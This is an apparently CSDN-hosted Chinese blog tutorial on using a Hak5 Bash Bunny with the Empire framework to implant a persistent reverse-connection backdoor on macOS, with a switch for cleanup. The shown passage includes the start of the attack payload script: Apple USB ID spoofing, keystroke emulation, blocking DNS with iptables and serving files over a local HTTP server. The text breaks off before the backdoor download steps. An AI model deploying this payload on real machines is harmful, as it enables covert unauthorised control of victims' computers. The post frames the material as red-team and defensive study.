Bash Bunny植入与清除-优快云博客

在现代红队演练与渗透测试中，如何快速、隐蔽且高效地在目标系统中部署持久化后门，是攻击者常用的手段之一。而来自 Hak5 的 Bash Bunny 工具，正是实现这一目标的利器。本文将从攻击者与防御者的双重视角，深入剖析如何通过 Bash Bunny 和 Empire 框架，在 macOS 上部署一个持久化的反向连接后门，并提供一键清除机制，帮助安全人员更好地理解攻击原理与防御策略。

一、攻击场景概述

攻击者希望在 macOS 目标设备上植入一个 Empire 框架生成的反向连接后门，使其在用户每次登录时自动启动，并通过网络与攻击者的控制服务器通信。为了实现快速部署与清除，攻击者使用 Bash Bunny 的多拨码开关功能（Switch1 和 Switch2）：

Switch1：执行攻击脚本，部署后门
Switch2：执行清理脚本，移除后门

整个过程无需用户交互，插入 Bash Bunny 即可完成。

二、攻击脚本（Switch1）详解

攻击脚本保存在 Bash Bunny 的 /payloads/switch1/payload.txt 路径下。该脚本通过模拟键盘输入与网络传输，实现文件下载与后门部署。

攻击脚本核心逻辑：

#!/bin/bash
# Title: OSX persistent backdoor{Injector}
# Author: Pentestit.de

LED SETUP
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E

GET SWITCH_POSITION
GET HOST_IP

cd /root/udisk/payloads/$SWITCH_POSITION/

# 启动本地 HTTP 服务用于文件传输
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &